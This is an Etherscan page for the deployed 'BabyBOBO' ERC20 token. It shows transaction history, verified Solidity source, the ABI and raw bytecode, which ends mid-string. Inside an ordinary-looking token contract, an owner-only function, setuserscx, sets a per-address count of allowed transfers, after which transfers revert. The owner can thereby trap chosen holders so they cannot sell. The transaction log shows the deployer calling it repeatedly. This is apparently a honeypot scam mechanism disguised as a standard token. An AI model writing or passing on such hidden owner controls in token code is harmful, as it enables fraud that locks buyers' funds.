ETH Price: $1,969.71 (-2.07%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve196961252024-04-20 10:46:59680 days ago1713610019IN
0x751066C9...dfDaF9Ef3
0 ETH0.000347527.41564283
Approve196896752024-04-19 13:07:11681 days ago1713532031IN
0x751066C9...dfDaF9Ef3
0 ETH0.0008193317.36312643
Setuserscx196895272024-04-19 12:36:59681 days ago1713530219IN
0x751066C9...dfDaF9Ef3
0 ETH0.0005541311.28951044
Approve196882962024-04-19 8:28:59681 days ago1713515339IN
0x751066C9...dfDaF9Ef3
0 ETH0.000498610.57990643
Approve196882952024-04-19 8:28:47681 days ago1713515327IN
0x751066C9...dfDaF9Ef3
0 ETH0.000439319.32182239
Setuserscx196882002024-04-19 8:09:23681 days ago1713514163IN
0x751066C9...dfDaF9Ef3
0 ETH0.0006342412.92170588
Approve196881692024-04-19 8:02:47681 days ago1713513767IN
0x751066C9...dfDaF9Ef3
0 ETH0.0005128910.86919658
Setuserscx196881242024-04-19 7:53:47681 days ago1713513227IN
0x751066C9...dfDaF9Ef3
0 ETH0.0005489711.18434756
Setuserscx196881202024-04-19 7:52:59681 days ago1713513179IN
0x751066C9...dfDaF9Ef3
0 ETH0.0005723811.6613156
Approve196881182024-04-19 7:52:35681 days ago1713513155IN
0x751066C9...dfDaF9Ef3
0 ETH0.0005549811.76122612
Approve196881182024-04-19 7:52:35681 days ago1713513155IN
0x751066C9...dfDaF9Ef3
0 ETH0.0005549811.76122612
Approve196881092024-04-19 7:50:47681 days ago1713513047IN
0x751066C9...dfDaF9Ef3
0 ETH0.0005021910.64234133
Approve196881092024-04-19 7:50:47681 days ago1713513047IN
0x751066C9...dfDaF9Ef3
0 ETH0.0005021910.64234133
Approve196881042024-04-19 7:49:47681 days ago1713512987IN
0x751066C9...dfDaF9Ef3
0 ETH0.0004976310.5456905
Approve196881042024-04-19 7:49:47681 days ago1713512987IN
0x751066C9...dfDaF9Ef3
0 ETH0.0004976310.5456905
Approve196881012024-04-19 7:49:11681 days ago1713512951IN
0x751066C9...dfDaF9Ef3
0 ETH0.000450379.55151185
Setuserscx196880942024-04-19 7:47:47681 days ago1713512867IN
0x751066C9...dfDaF9Ef3
0 ETH0.000532910.85707907
Setuserscx196880912024-04-19 7:47:11681 days ago1713512831IN
0x751066C9...dfDaF9Ef3
0 ETH0.000480169.78252586
Setuserscx196880802024-04-19 7:44:59681 days ago1713512699IN
0x751066C9...dfDaF9Ef3
0 ETH0.0005291910.78150021
Approve196880782024-04-19 7:44:35681 days ago1713512675IN
0x751066C9...dfDaF9Ef3
0 ETH0.0007677416.26992692
Transfer196880692024-04-19 7:42:47681 days ago1713512567IN
0x751066C9...dfDaF9Ef3
0 ETH0.0003621610.29888039
Approve196880552024-04-19 7:39:59681 days ago1713512399IN
0x751066C9...dfDaF9Ef3
0 ETH0.0004299214.41548613
Setuserscx196880532024-04-19 7:39:35681 days ago1713512375IN
0x751066C9...dfDaF9Ef3
0 ETH0.0004926810.03762546
Approve196880532024-04-19 7:39:35681 days ago1713512375IN
0x751066C9...dfDaF9Ef3
0 ETH0.0009437620
Setuserscx196880502024-04-19 7:38:59681 days ago1713512339IN
0x751066C9...dfDaF9Ef3
0 ETH0.0005871511.96215959
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer196970302024-04-20 13:50:23680 days ago1713621023
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196970302024-04-20 13:50:23680 days ago1713621023
0x751066C9...dfDaF9Ef3
0 ETH
Transfer196970302024-04-20 13:50:23680 days ago1713621023
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196970302024-04-20 13:50:23680 days ago1713621023
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968272024-04-20 13:09:11680 days ago1713618551
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968272024-04-20 13:09:11680 days ago1713618551
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968272024-04-20 13:09:11680 days ago1713618551
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968272024-04-20 13:09:11680 days ago1713618551
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968272024-04-20 13:09:11680 days ago1713618551
0x751066C9...dfDaF9Ef3
0 ETH
Transfer From196968272024-04-20 13:09:11680 days ago1713618551
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968272024-04-20 13:09:11680 days ago1713618551
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968272024-04-20 13:09:11680 days ago1713618551
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968232024-04-20 13:08:23680 days ago1713618503
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968232024-04-20 13:08:23680 days ago1713618503
0x751066C9...dfDaF9Ef3
0 ETH
Transfer196968232024-04-20 13:08:23680 days ago1713618503
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968232024-04-20 13:08:23680 days ago1713618503
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968232024-04-20 13:08:23680 days ago1713618503
0x751066C9...dfDaF9Ef3
0 ETH
Transfer196968232024-04-20 13:08:23680 days ago1713618503
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968232024-04-20 13:08:23680 days ago1713618503
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196968232024-04-20 13:08:23680 days ago1713618503
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196895742024-04-19 12:46:35681 days ago1713530795
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196895742024-04-19 12:46:35681 days ago1713530795
0x751066C9...dfDaF9Ef3
0 ETH
Transfer196895742024-04-19 12:46:35681 days ago1713530795
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196895742024-04-19 12:46:35681 days ago1713530795
0x751066C9...dfDaF9Ef3
0 ETH
Balance Of196895742024-04-19 12:46:35681 days ago1713530795
0x751066C9...dfDaF9Ef3
0 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BabyBOBO

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-04-16
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
     uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; 
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "BabyBOBOOwnable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is BabyBOBOthe zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: BabyBOBOtransfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: BabyBOBOdecreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "BabyBOBOERC20: transfer from the zero address");
        require(recipient != address(0), "BabyBOBO: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds BabyBOBObalance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint BabyBOBOto the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the BabyBOBOzero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20BabyBOBO: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20:BabyBOBO approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract BabyBOBO is ERC20, Ownable {
    mapping (address => bool) private _isExcludedFromEnableTrad;
    mapping(address => uint256) private usersss;

    constructor (address owner) ERC20("BabyBOBO", "BabyBOBO") 
    {   
        _isExcludedFromEnableTrad[owner] = true;
        _mint(owner, 100000000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded) external onlyOwner{
        require(_isExcludedFromEnableTrad[account] != excluded,"Account is already BabyBOBOthe value of 'excluded'");
        _isExcludedFromEnableTrad[account] = excluded;
    }

    function isExcludedFromEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrad[account];
    }

    mapping(address => bool) private isLimitSet;

    function setuserscx(address _address, uint256 _limit) external onlyOwner {
        usersss[_address] = _limit;
        isLimitSet[_address] = true;
    }

    function getusers(address _address) public view returns (uint256) {
        return usersss[_address];
    }

    function hasusers(address _address) public view returns (bool) {
        return isLimitSet[_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && isLimitSet[from]) {
            require(usersss[from] > 0, "No transfer BabyBOBO rights remaining");
            usersss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer BabyBOBO to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrad[from] || _isExcludedFromEnableTrad[to], "Trading not yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getusers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"hasusers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setuserscx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b5060405162003276380380620032768339818101604052810190620000369190620005e6565b6040518060400160405280600881526020017f42616279424f424f0000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f42616279424f424f0000000000000000000000000000000000000000000000008152508160029081620000b391906200087a565b508060039081620000c591906200087a565b505050620000e8620000dc6200018460201b60201c565b6200018b60201b60201c565b600160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200017d81620001526200024e60201b60201c565b600a62000160919062000ae7565b6305f5e10062000171919062000b37565b6200025660201b60201c565b5062000d4b565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002c7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002be9062000c05565b60405180910390fd5b620002da5f8383620003c660201b60201c565b8060045f828254620002ed919062000c25565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000341919062000c25565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003a7919062000c70565b60405180910390a3620003c25f83836200057760201b60201c565b5050565b620003d98383836200057c60201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156200044257505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801562000495575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1562000572575f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054116200051d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005149062000cff565b60405180910390fd5b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8154809291906200056c9062000d1f565b91905055505b505050565b505050565b505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620005b08262000585565b9050919050565b620005c281620005a4565b8114620005cd575f80fd5b50565b5f81519050620005e081620005b7565b92915050565b5f60208284031215620005fe57620005fd62000581565b5b5f6200060d84828501620005d0565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200069257607f821691505b602082108103620006a857620006a76200064d565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200070c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006cf565b620007188683620006cf565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620007626200075c620007568462000730565b62000739565b62000730565b9050919050565b5f819050919050565b6200077d8362000742565b620007956200078c8262000769565b848454620006db565b825550505050565b5f90565b620007ab6200079d565b620007b881848462000772565b505050565b5b81811015620007df57620007d35f82620007a1565b600181019050620007be565b5050565b601f8211156200082e57620007f881620006ae565b6200080384620006c0565b8101602085101562000813578190505b6200082b6200082285620006c0565b830182620007bd565b50505b505050565b5f82821c905092915050565b5f620008505f198460080262000833565b1980831691505092915050565b5f6200086a83836200083f565b9150826002028217905092915050565b620008858262000616565b67ffffffffffffffff811115620008a157620008a062000620565b5b620008ad82546200067a565b620008ba828285620007e3565b5f60209050601f831160018114620008f0575f8415620008db578287015190505b620008e785826200085d565b86555062000956565b601f1984166200090086620006ae565b5f5b82811015620009295784890151825560018201915060208501945060208101905062000902565b8683101562000949578489015162000945601f8916826200083f565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620009e857808604811115620009c057620009bf6200095e565b5b6001851615620009d05780820291505b8081029050620009e0856200098b565b9450620009a0565b94509492505050565b5f8262000a02576001905062000ad4565b8162000a11575f905062000ad4565b816001811462000a2a576002811462000a355762000a6b565b600191505062000ad4565b60ff84111562000a4a5762000a496200095e565b5b8360020a91508482111562000a645762000a636200095e565b5b5062000ad4565b5060208310610133831016604e8410600b841016171562000aa55782820a90508381111562000a9f5762000a9e6200095e565b5b62000ad4565b62000ab4848484600162000997565b9250905081840481111562000ace5762000acd6200095e565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000af38262000730565b915062000b008362000adb565b925062000b2f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009f1565b905092915050565b5f62000b438262000730565b915062000b508362000730565b925082820262000b608162000730565b9150828204841483151762000b7a5762000b796200095e565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e742042616279424f424f746f20746865207a65726f205f8201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b5f62000bed60278362000b81565b915062000bfa8262000b91565b604082019050919050565b5f6020820190508181035f83015262000c1e8162000bdf565b9050919050565b5f62000c318262000730565b915062000c3e8362000730565b925082820190508082111562000c595762000c586200095e565b5b92915050565b62000c6a8162000730565b82525050565b5f60208201905062000c855f83018462000c5f565b92915050565b7f4e6f207472616e736665722042616279424f424f207269676874732072656d615f8201527f696e696e67000000000000000000000000000000000000000000000000000000602082015250565b5f62000ce760258362000b81565b915062000cf48262000c8b565b604082019050919050565b5f6020820190508181035f83015262000d188162000cd9565b9050919050565b5f62000d2b8262000730565b91505f820362000d405762000d3f6200095e565b5b600182039050919050565b61251d8062000d595f395ff3fe60806040526004361061012d575f3560e01c8063715018a6116100aa57806395d89b411161006e57806395d89b41146103ee578063a457c2d714610418578063a9059cbb14610454578063b7e04c1114610490578063dd62ed3e146104cc578063f2fde38b1461050857610134565b8063715018a61461033457806375d5e02c1461034a5780638a8c523c146103865780638da5cb5b1461039c5780639001886d146103c657610134565b80633520a3b4116100f15780633520a3b41461022e578063395093511461026a578063484d993f146102a65780634ada218b146102ce57806370a08231146102f857610134565b806306fdde0314610138578063095ea7b31461016257806318160ddd1461019e57806323b872dd146101c8578063313ce5671461020457610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c610530565b6040516101599190611936565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906119e7565b6105c0565b6040516101959190611a3f565b60405180910390f35b3480156101a9575f80fd5b506101b26105dd565b6040516101bf9190611a67565b60405180910390f35b3480156101d3575f80fd5b506101ee60048036038101906101e99190611a80565b6105e6565b6040516101fb9190611a3f565b60405180910390f35b34801561020f575f80fd5b50610218610700565b6040516102259190611aeb565b60405180910390f35b348015610239575f80fd5b50610254600480360381019061024f9190611b04565b610708565b6040516102619190611a3f565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906119e7565b61075a565b60405161029d9190611a3f565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c79190611b59565b610801565b005b3480156102d9575f80fd5b506102e2610964565b6040516102ef9190611a3f565b60405180910390f35b348015610303575f80fd5b5061031e60048036038101906103199190611b04565b610976565b60405161032b9190611a67565b60405180910390f35b34801561033f575f80fd5b506103486109bb565b005b348015610355575f80fd5b50610370600480360381019061036b9190611b04565b610a42565b60405161037d9190611a3f565b60405180910390f35b348015610391575f80fd5b5061039a610a94565b005b3480156103a7575f80fd5b506103b0610b7b565b6040516103bd9190611ba6565b60405180910390f35b3480156103d1575f80fd5b506103ec60048036038101906103e791906119e7565b610ba3565b005b3480156103f9575f80fd5b50610402610cba565b60405161040f9190611936565b60405180910390f35b348015610423575f80fd5b5061043e600480360381019061043991906119e7565b610d4a565b60405161044b9190611a3f565b60405180910390f35b34801561045f575f80fd5b5061047a600480360381019061047591906119e7565b610e30565b6040516104879190611a3f565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190611b04565b610e4d565b6040516104c39190611a67565b60405180910390f35b3480156104d7575f80fd5b506104f260048036038101906104ed9190611bbf565b610e93565b6040516104ff9190611a67565b60405180910390f35b348015610513575f80fd5b5061052e60048036038101906105299190611b04565b610f15565b005b60606002805461053f90611c2a565b80601f016020809104026020016040519081016040528092919081815260200182805461056b90611c2a565b80156105b65780601f1061058d576101008083540402835291602001916105b6565b820191905f5260205f20905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b5f6105d36105cc61100b565b8484611012565b6001905092915050565b5f600454905090565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61062e61100b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146106e957828110156106d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cb90611cca565b60405180910390fd5b6106e8856106e061100b565b858403611012565b5b6106f48585856111d5565b60019150509392505050565b5f6012905090565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f6107f761076661100b565b848460015f61077361100b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107f29190611d15565b611012565b6001905092915050565b61080961100b565b73ffffffffffffffffffffffffffffffffffffffff16610827610b7b565b73ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087490611db8565b60405180910390fd5b80151560065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361090c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090390611e46565b60405180910390fd5b8060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b60095f9054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109c361100b565b73ffffffffffffffffffffffffffffffffffffffff166109e1610b7b565b73ffffffffffffffffffffffffffffffffffffffff1614610a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2e90611db8565b60405180910390fd5b610a405f6113c9565b565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610a9c61100b565b73ffffffffffffffffffffffffffffffffffffffff16610aba610b7b565b73ffffffffffffffffffffffffffffffffffffffff1614610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790611db8565b60405180910390fd5b60095f9054906101000a900460ff1615610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690611eae565b60405180910390fd5b600160095f6101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610bab61100b565b73ffffffffffffffffffffffffffffffffffffffff16610bc9610b7b565b73ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690611db8565b60405180910390fd5b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b606060038054610cc990611c2a565b80601f0160208091040260200160405190810160405280929190818152602001828054610